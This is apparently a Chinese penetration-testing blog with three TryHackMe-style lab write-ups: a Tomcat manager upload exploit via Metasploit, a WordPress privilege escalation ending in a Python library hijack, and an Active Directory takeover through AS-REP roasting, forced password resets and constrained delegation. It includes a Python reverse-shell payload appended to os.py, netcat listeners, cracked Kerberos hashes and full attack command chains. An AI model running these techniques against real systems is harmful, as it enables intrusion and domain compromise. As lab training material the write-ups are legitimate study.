   38  exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec               2021-05-05       excellent  Yes    Cisco HyperFlex HX Data Platform Command Execution
   39    \_ target: Unix Command                                                  .                .          .      .
   40    \_ target: Linux Dropper                                                 .                .          .      .
   41  exploit/linux/http/cisco_hyperflex_file_upload_rce                         2021-05-05       excellent  Yes    Cisco HyperFlex HX Data Platform unauthenticated file upload to RCE (CVE-2021-1499)
   42    \_ target: Java Dropper                                                  .                .          .      .
   43    \_ target: Linux Dropper                                                 .                .          .      .
   44  exploit/linux/http/cpi_tararchive_upload                                   2019-05-15       excellent  Yes    Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability
   45  exploit/linux/http/cisco_prime_inf_rce                                     2018-10-04       excellent  Yes    Cisco Prime Infrastructure Unauthenticated Remote Code Execution
   46  post/multi/gather/tomcat_gather                                            .                normal     No     Gather Tomcat Credentials
   47  auxiliary/dos/http/hashcollision_dos                                       2011-12-28       normal     No     Hashtable Collisions
   48  auxiliary/admin/http/ibm_drm_download                                      2020-04-21       normal     Yes    IBM Data Risk Manager Arbitrary File Download
   49  exploit/linux/http/lucee_admin_imgprocess_file_write                       2021-01-15       excellent  Yes    Lucee Administrator imgProcess.cfm Arbitrary File Write
   50    \_ target: Unix Command                                                  .                .          .      .
   51    \_ target: Linux Dropper                                                 .                .          .      .
   52  exploit/linux/http/mobileiron_core_log4shell                               2021-12-12       excellent  Yes    MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)
   53    \_ AKA: Log4Shell                                                        .                .          .      .
   54    \_ AKA: LogJam                                                           .                .          .      .
   55  exploit/multi/http/zenworks_configuration_management_upload                2015-04-07       excellent  Yes    Novell ZENworks Configuration Management Arbitrary File Upload
   56  exploit/multi/http/spring_framework_rce_spring4shell                       2022-03-31       manual     Yes    Spring Framework Class property RCE (Spring4Shell)
   57    \_ target: Java                                                          .                .          .      .
   58    \_ target: Linux                                                         .                .          .      .
   59    \_ target: Windows                                                       .                .          .      .
   60    \_ AKA: Spring4Shell                                                     .                .          .      .
   61    \_ AKA: SpringShell                                                      .                .          .      .
   62  auxiliary/admin/http/tomcat_administration                                 .                normal     No     Tomcat Administration Tool Default Access
   63  auxiliary/scanner/http/tomcat_mgr_login                                    .                normal     No     Tomcat Application Manager Login Utility
   64  exploit/multi/http/tomcat_jsp_upload_bypass                                2017-10-03       excellent  Yes    Tomcat RCE via JSP Upload Bypass
   65    \_ target: Automatic                                                     .                .          .      .
   66    \_ target: Java Windows                                                  .                .          .      .
   67    \_ target: Java Linux                                                    .                .          .      .
   68  auxiliary/admin/http/tomcat_utf8_traversal                                 2009-01-09       normal     No     Tomcat UTF-8 Directory Traversal Vulnerability
   69  auxiliary/admin/http/trendmicro_dlp_traversal                              2009-01-09       normal     No     TrendMicro Data Loss Prevention 5.5 Directory Traversal
   70  post/windows/gather/enum_tomcat                                            .                normal     No     Windows Gather Apache Tomcat Enumeration


Interact with a module by name or index. For example info 70, use 70 or use post/windows/gather/enum_tomcat

# 确定13和18符合要求，

msf6 > use 18
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_upload):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        The password for the specified username
   HttpUsername                   no        The username to authenticate as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /manager         yes       The URI path of the manager app (/html/upload and /undeploy will be used)
   VHOST                          no        HTTP server virtual host



Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.143.174    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword bubbles
HttpPassword => bubbles
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername bob
HttpUsername => bob
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 10.10.172.34
RHOSTS => 10.10.172.34
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 1234
RPORT => 1234
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Started reverse TCP handler on 10.10.143.174:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying cX64byt81xpV1o2pcI3k5Fv2...
[*] Executing cX64byt81xpV1o2pcI3k5Fv2...
[*] Undeploying cX64byt81xpV1o2pcI3k5Fv2 ...
[*] Sending stage (58037 bytes) to 10.10.172.34
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 1 opened (10.10.143.174:4444 -> 10.10.172.34:34714) at 2025-02-06 06:37:43 +0000

meterpreter >shell
whoami
root

成功利用后，我们获得了一个Meterpreter会话，这表示我们已经在目标服务器上获得了初始的立足点，可以执行系统命令。

WordPress提权实战：利用Python库劫持漏洞从Web Shell到Root

Wed, 12 Feb 2025 00:00:00 GMT

import { Image } from 'astro:assets'

import imgPortScan from './assets/image-20250212145736819.png' import imgPort80 from './assets/image-20250212150139997.png' import imgXmlrpc from './assets/image-20250212151115590.png' import imgWpscanUsers from './assets/image-20250212151504341.png' import imgBruteSuccess from './assets/image-20250212153343791.png' import imgWpAdmin from './assets/image-20250212153543331.png' import imgSearchsploit from './assets/image-20250212155617767.png' import imgExploit from './assets/image-20250212161232689.png' import imgPrivilegeEscalation from './assets/image-20250212161555263.png' import imgPluginCode from './assets/image-20250212162515764.png' import imgReverseShell from './assets/image-20250212162755599.png' import imgNewClue from './assets/image-20250212163003014.png' import imgBackupSsh from './assets/image-20250212163616348.png' import imgLoginJack from './assets/image-20250212163838089.png' import imgPspy from './assets/image-20250212170123250.png' import imgPythonScript from './assets/image-20250212170403318.png' import imgPython2Lib from './assets/image-20250212170847348.png' import imgRoot from './assets/image-20250212172253103.png'

初始信息

IP：10.10.250.233->jack.thm

服务器中运行了位置python脚本

信息收集

端口扫描

nmap -sS -sV -vv -T4 10.10.250.233

关键发现:

开放80端口运行WordPress 5.3.2
SSH服务运行于22端口
存在445端口（SMB）但无匿名访问

WordPress 信息枚举

wpscan --url http://jack.thm -e u,p,t

但是后续使用vp和ap参数也没能识别出使用的插件

初始化访问

WordPress 后台凭证爆破

wpscan -U users.txt -P /usr/share/wordlists/fasttrack.txt --url http://jack.thm

使用爆破出的凭证访问后台

权限提升(WordPress)

可以发现此账户非管理员账户,没有主题和插件菜单,未发现其他漏洞点,需要想办法提权到管理员账号获取更多信息

searchsploit WordPress Privilege Escalation

# 利用代码片段如下
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

......
    register_options(
      [
        OptString.new('TARGETURI',   [true, 'URI path to WordPress', '/']),
        OptString.new('ADMINPATH',   [true, 'wp-admin directory', 'wp-admin/']),
        OptString.new('CONTENTPATH', [true, 'wp-content directory', 'wp-content/']),
        OptString.new('PLUGINSPATH', [true, 'wp plugins directory', 'plugins/']),
        OptString.new('PLUGINPATH',  [true, 'User Role Editor directory', 'user-role-editor/']),
        OptString.new('USERNAME',    [true, 'WordPress username']),
        OptString.new('PASSWORD',    [true, 'WordPress password']),
	OptString.new('PRIVILEGES',  [true, 'Desired User Role Editor privileges', 'activate_plugins,delete_others_pages,delete_others_posts,delete_pages,delete_posts,delete_private_pages,delete_private_posts,delete_published_pages,delete_published_posts,edit_dashboard,edit_others_pages,edit_others_posts,edit_pages,edit_posts,edit_private_pages,edit_private_posts,edit_published_pages,edit_published_posts,edit_theme_options,export,import,list_users,manage_categories,manage_links,manage_options,moderate_comments,promote_users,publish_pages,publish_posts,read_private_pages,read_private_posts,read,remove_users,switch_themes,upload_files,customize,delete_site,create_users,delete_plugins,delete_themes,delete_users,edit_plugins,edit_themes,edit_users,install_plugins,install_themes,unfiltered_html,unfiltered_upload,update_core,update_plugins,update_themes,ure_create_capabilities,ure_create_roles,ure_delete_capabilities,ure_delete_roles,ure_edit_roles,ure_manage_options,ure_reset_roles'])
      ])
  end

 ......
    # Send HTTP POST request - update the specified user's privileges
    print_status("#{peer} - WordPress - Changing privs - #{username}")
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => url,
      'vars_post' => {
        '_wpnonce'         => wp_nonce,
        '_wp_http_referer' => URI::encode(url),
        'from'             => 'profile',
        'checkuser_id'     => checkuser_id,
        'color-nonce'      => color_nonce,
        'admin_color'      => 'fresh',
        'admin_bar_front'  => '1',
        'first_name'       => '',
        'last_name'        => '',
        'nickname'         => nickname,
        'display_name'     => display_name,
        'email'            => email,
        'url'              => '',
        'description'      => '',
        'pass1'            => '',
        'pass2'            => '',
        'ure_other_roles'  => datastore['PRIVILEGES'],
        'action'           => 'update',
        'user_id'          => user_id,
        'submit'           => 'Update+Profile'
      },
      'cookie'    => cookie
    })

    # check outcome
    if res and res.code == 302
      print_good("#{peer} - WordPress - Changing privs - OK")
    else
      fail_with("#{peer} - WordPress - Changing privs - Server response (code #{res.code})")
    end
  end
end

# EoF

这段代码的关键是新增一个请求参数,并设置对应的权限:

&ure_other_roles=activate_plugins,delete_others_pages,delete_others_posts,delete_pages,delete_posts,delete_private_pages,delete_private_posts,delete_published_pages,delete_published_posts,edit_dashboard,edit_others_pages,edit_others_posts,edit_pages,edit_posts,edit_private_pages,edit_private_posts,edit_published_pages,edit_published_posts,edit_theme_options,export,import,list_users,manage_categories,manage_links,manage_options,moderate_comments,promote_users,publish_pages,publish_posts,read_private_pages,read_private_posts,read,remove_users,switch_themes,upload_files,customize,delete_site,create_users,delete_plugins,delete_themes,delete_users,edit_plugins,edit_themes,edit_users,install_plugins,install_themes,unfiltered_html,unfiltered_upload,update_core,update_plugins,update_themes,ure_create_capabilities,ure_create_roles,ure_delete_capabilities,ure_delete_roles,ure_edit_roles,ure_manage_options,ure_reset_roles

WebShell获取

nc -lvnp 6666

修改插件源码反弹shell

激活插件后成功获得反弹的shell

SSH密钥发现

在浏览用户目录时发现以下信息

新线索指向备份目录,检查常见的备份目录位置,在/var/backups目录找了一份ssh登录密钥

拷贝到本地后尝试通过密钥登录

chmod 600 id_rsa
ssh -i id_rsa jack@10.10.250.233

成功以jack用户的密钥登录到服务器 <Image src={imgLoginJack} alt='使用 jack 账户登录服务器的终端输出' widths={[720, 1080, 1365]} sizes="(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px" format='webp' loading='lazy' decoding='async' class='rounded-xl shadow-sm' />

攻击环境下载pspy64,之后通过python创建http服务器

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
python3 -m http.server

wget http://10.10.33.70:8000/pspy64
chmod u+x pspy64
./pspy64

发现到一个python脚本,经查询其默认调用的是python2

查看脚本内容

Root提权

通过代码可以发现脚本功能是调用curl将请求127.0.0.1的请求头保存到日志文件中,目的大概是为了服务可用性记录.文件仅root可写

检查了curl和python2,并没有什么异常,但是在检查python2的库文件时发现库文件都属于family组

查看jack的用户组

jack@jack:/opt/statuscheck$ id
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),30(dip),46(plugdev),115(lpadmin),116(sambashare),1001(family)

Python库劫持攻击

jack也在family组中,所以可以通过修改os库来进行提权

# 追加到os文件的末尾
import socket
import ptys=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.33.70", 6665))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/bash")
s.close()

等待脚本被调用

...

成功提升到root权限

域渗透实战：从Kerberos委派攻击到域控接管(Domain Takeover)

Fri, 07 Feb 2025 00:00:00 GMT

import { Image } from 'astro:assets'

import imgNmap1 from './assets/image-20250207143334163.png' import imgNmap2 from './assets/image-20250207144723528.png' import imgSmbmap from './assets/image-20250207145009172.png' import imgDataList1 from './assets/image-20250207152946792.png' import imgDataList2 from './assets/image-20250207153148854.png' import imgPdfTemplate from './assets/image-20250207153859430.png' import imgRidBrute from './assets/image-20250207161022443.png' import imgUsernames from './assets/image-20250207161633499.png' import imgPasswordSpray from './assets/image-20250207163201644.png' import imgAsrep from './assets/image-20250207165554311.png' import imgHashCrack from './assets/image-20250207170330360.png' import imgSpn from './assets/image-20250207171246320.png' import imgBloodhoundCollect from './assets/image-20250207172229560.png' import imgNewIpRecon from './assets/image-20250210142426054.png' import imgBloodhoundAsreq from './assets/image-20250210142805590.png' import imgBloodhoundOutbound from './assets/image-20250210144135361.png' import imgBloodhoundDelegation from './assets/image-20250210145734557.png' import imgBloodhoundPath from './assets/image-20250210153941815.png' import imgPwdReset1 from './assets/image-20250210152013523.png' import imgPwdReset2 from './assets/image-20250210152901727.png' import imgPwdReset3 from './assets/image-20250210153107076.png' import imgGetST from './assets/image-20250210161948114.png' import imgWmiexec from './assets/image-20250210164102035.png'

初始信息

已知IP:10.10.92.51

信息收集与初始访问

端口扫描

nmap  -sS -T4 -A 10.10.92.51

根据扫描结果可以知道这是一台Windows Server，直接盯上我们的常客SMB

SMB枚举

smbmap扫一下有没有匿名用户

smbmap.py -u "anonymous" -H 10.10.92.51

发现了Data目录有读写权限，IPC$目录有读权限。

通过文本文件我们能得知这个新员工的密码是ResetMe123!，而且根据密码内容，这可能是系统的默认密码。

通过浏览其中的pdf文件我们能够推断出txt文件可能是一个模板文件，用于将<User>替换成用户名后渲染到pdf的这一页中。

所以根据内容已经所以接下来的新思路就是枚举所有用户名，尝试使用默认密码进行登录。

用户枚举

crackmapexec smb 10.10.92.51 -u "anonymous" -d thm.local -p '' --rid-brute >> a.txt

cat a.txt| cut -d '\' -f 2 | grep SidTypeUser | awk '{print $1}' > usernames.txt

密码喷射

crackmapexec smb 10.10.92.51 -u usernames.txt -p 'ResetMe123!'

可以发现，目前只有pdf中的用户LILY_ONEILL未修改默认密码。

可惜的是通过LILY_ONEILL无法获取到shell

横向移动与权限提升

扫描开启了 **“无需预认证”**的账户

apt install python3-impacket

Kerberos AS-REP Roasting攻击

python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -no-pass 'thm.corp/' -dc-ip 10.10.92.51 -request -usersfile usernames.txt

发现三个TGT

$krb5asrep$23$ERNESTO_SILVA@THM.CORP:6a45925477f99879b8055888ce6bca96$927fb698caac41a10e1023638d035d9115ad11f93a0b21cd4d1b66d9993da62dca5a0d85cda5e1ffd24d769510738c4948b7e482690ba002d0768b8acf8fc22356f161703fd9fe8b5aa701463436625204a4a716bb914784316c26700bfb27a80040ebbbdb3580ccd91e6e130f79481e6d6717ab79b2c1d325bffb4c185876832b950430cee0939edd333e90a0500327bed3284539f0874f548c7b3c81bc0c18d7f922b32982178225a54681e949a3a041795c7e3949f7617e0e665cef645ade4b7dab1fb71ca5ed6e5dc81a3bec792583c111312ff39a745e4c43a9e41d8f9a269b5a1f

$krb5asrep$23$TABATHA_BRITT@THM.CORP:e5a3c8465c0d6fdfa0b6b31c2ea1dfc8$99b7065eeb90ff423ad65e55de27d48fbc36fad77f9dcf4dffc9fcd6347772b9f9903b676512d551c7e565b2be9c192cff0ded60627346d58d500b5d923832d84fdab6da3ec6e03f0ee7ee81b5f54f37916f9aca5eefd5f8ad6fac06147b254b00a459986ad76e52c9a33131891e4984a2fe01c9c2a3def7feee6bf2919b28299fcfa7c932939b2fcfba66a2d5a0217c74f04360d4f2913d4a59a6d52addd6540963c814ed60b72ddcc208aa3beae9d0c37ee75f04a52267b0a27f7a64071cad5a708cb3a786dd8a01a5a41491f724a34856351a49d221c863c93c19a9d1a7df4cea6ae2

$krb5asrep$23$LEANN_LONG@THM.CORP:45cb306670d80c559c718a645b2fecf7$1e48fc282e120d5e78de9644784b6c10b3ef3adf6849bcaae394b333cb3809931783ba62fc40adab997ee0a393f404eddfd4f3256c57edc22e36ddcbcf4f06611170a954f19954ef0650a2306d36c3f67306cb590aa902478adfa9b84ab8de59d29b74c15de0c06aec5a1c3a20b3d6c762634f3d363e68229d9af1dd2bbb15dc1ebee78991a605c509c61b0df0b1034e84261ee53ded8919293214fcf679f4aa90587699f8343fa0852340ede08f095cce71c3043c245e74ec3aeb55d8f268d0648b6cb6c722e01f3e494240b5bef183dd4f1de1634e9dc526a05a7080f2c08311a79336

爆破出一个密码

python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py "thm.corp/TABATHA_BRITT:marlboro(1985)" -dc-ip 10.10.92.51 -request -outputfile SPN.hashes

但可惜的是TABATHA_BRITT也不可用。

bloodhound权限分析

bloodhound-python -d THM.corp -u 'TABATHA_BRITT' -p 'marlboro(1985)' -ns 10.10.92.51 -c all

通过用户枚举域中信息

从此位置起ip变更为10.10.76.184

将收集到的数据导入到bloodhood中

检查AS-REQ Roastable用户

选中TABATHA_BRITT节点，Node info->OUTBOUND CONTROL RIGHTS->Transitive Object Control

可见约束委派被配置为允许委派到域控制器的 CIFS 服务，所以我们获取到DARLA_WINTERS账户之后即可获取域控权限。

约束委派攻击

密码重置操作链

TABATHA_BRITT
└─→ GenericAll → SHAWNA_BRAY
    └─→ ForceChangePassword → CRUZ_HALL
        └─→ ForceChangePassword → DARLA_WINTERS
            └─→ 约束委派 → Domain Controller (CIFS)

由于TABATHA_BRITT有SHAWNA_BRAY的GenericAll权限，所以我们可以用其重置SHAWNA_BRAY的密码

net rpc password "SHAWNA_BRAY" "QWER@1234" -U "THM.CORP"/"TABATHA_BRITT"%"marlboro(1985)" -S "10.10.76.184"
crackmapexec smb 10.10.76.184 -u 'SHAWNA_BRAY' -p 'QWER@1234'

SHAWNA_BRAY具有ForceChangePassword权限

net rpc password 'CRUZ_HALL' 'QWER@1234' -U 'thm.corp'/'SHAWNA_BRAY'%'QWER@1234' -S 10.10.76.184
crackmapexec smb 10.10.76.184 -u 'CRUZ_HALL' -p 'QWER@1234'

CRUZ_HALL也具有ForceChangePassword权限

net rpc password 'DARLA_WINTERS' 'QWER@1234' -U 'thm.corp'/'CRUZ_HALL'%'QWER@1234' -S 10.10.76.184
crackmapexec smb 10.10.76.184 -u 'DARLA_WINTERS' -p 'QWER@1234'

约束委派利用

python3 /usr/share/doc/python3-impacket/examples/getST.py -spn cifs/HayStack.thm.corp -impersonate Administrator THM.corp/DARLA_WINTERS

export KRB5CCNAME=Administrator.ccache

域控接管

这里有个小坑,haystack.thm.corp应该添加到hosts文件中,wmiexec似乎没有参数能够指定域控ip

python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -k -no-pass Administrator@haystack.thm.corp